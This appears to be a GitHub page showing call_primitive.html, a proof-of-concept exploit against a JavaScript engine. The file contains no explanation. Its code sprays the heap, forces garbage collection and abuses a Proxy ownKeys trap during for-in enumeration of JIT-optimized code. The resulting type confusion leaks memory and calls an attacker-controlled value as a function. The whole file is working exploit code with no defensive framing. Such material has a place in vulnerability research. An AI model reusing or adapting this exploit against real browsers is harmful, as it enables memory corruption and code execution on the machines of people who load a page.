-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathcall_primitive.html
172 lines (128 loc) · 3.1 KB
/
call_primitive.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
<html>
<head>
</head>
<body>
<script>
function r_str(l){
let random_string = '';
let random_ascii;
for(let i = 0; i < l; i++) {
random_ascii = Math.floor((Math.random() * 25) + 97);
random_string += String.fromCharCode(random_ascii)
}
return random_string
}
function gc() {
for (let i = 0; i < 100; i++) {
new ArrayBuffer(1024 * 1024 * 10);
}
}
var o;
var o2, o3;
function obj_with_size(n){
let s = 'var obj = {';
for (let y = 0; y < n; y++){
s += 'a' + y + ':' + '"a"' + ',';
}
s += '}'
eval(s);
return obj;
}
function obj_with_ab(n){
let s = 'var obj = {';
for (let y = 0; y < n; y++){
s += 'a' + y + ':' + 'new ArrayBuffer(0x80)' + ',';
}
s += '}'
eval(s);
return obj;
}
function obj_with_o(ooo,n){
let s = 'var obj = {';
for (let y = 0; y < n; y++){
s += 'B'.repeat(1024)+ y + ':' + 'ooo' + ',';
}
s += '}'
eval(s);
return obj;
}
// to spam the cache..
function opt2(x,y) {
function f(a) {
return a;
}
let p = new Proxy(x,{ownKeys:f});
y.__proto__ = p;
for (let x in y) {
}}
o2 = obj_with_size(46800)
o3 = obj_with_size(46800)
o = obj_with_ab(4);
let s2 = [];
function opt(tmp,flag) {
function f(a) {
if (flag){
gc();
}
return a;
}
let p = new Proxy(tmp,{ownKeys:f});
o2.__proto__ = p;
let y = 0;
for (let x in o2) {
if (flag) {
if (y===1){
for ( let i = 0; i < 160; i++ ){
let rnds = r_str(8);
let t1 = obj_with_o("A",10000);
let t2 = obj_with_o("A",10000);
t1[rnds] = 1.2;
t2[rnds] = 1.2;
for ( let t = 0; t < 20; t++ ){
opt2(t1,t2);
}
s2.push([t1,t2]);
}
x();
s2 = [];
gc();
gc();
return;
}
let s = typeof x;
if ( s == 'object' ){
y=1;
} else {
if ( typeof x == 'string' ){}
else {
print('typeof x:' + typeof x);
print('leaked memory: '+ x);
}
}
} else {
// optimize access ..
x = 'AAAAAAAA';
}
}
}
var s = [];
function sprayheap() {
for (let i = 0; i < 0x10000; i++) {
let a = new Float64Array(1);
a['a0'] = 3.54484805889626e-310;
s.push(a);
}
}
sprayheap();
while (1){
// Compile the functions
for (let t = 0; t <200;t++){
opt(o3,false);
}
let evil = opt(o,true);
}
// do not gc s.. so deref it..
for ( let tt = 0 ; tt < s.length; tt ++ ){s[tt];}
</script>
</body>
</html>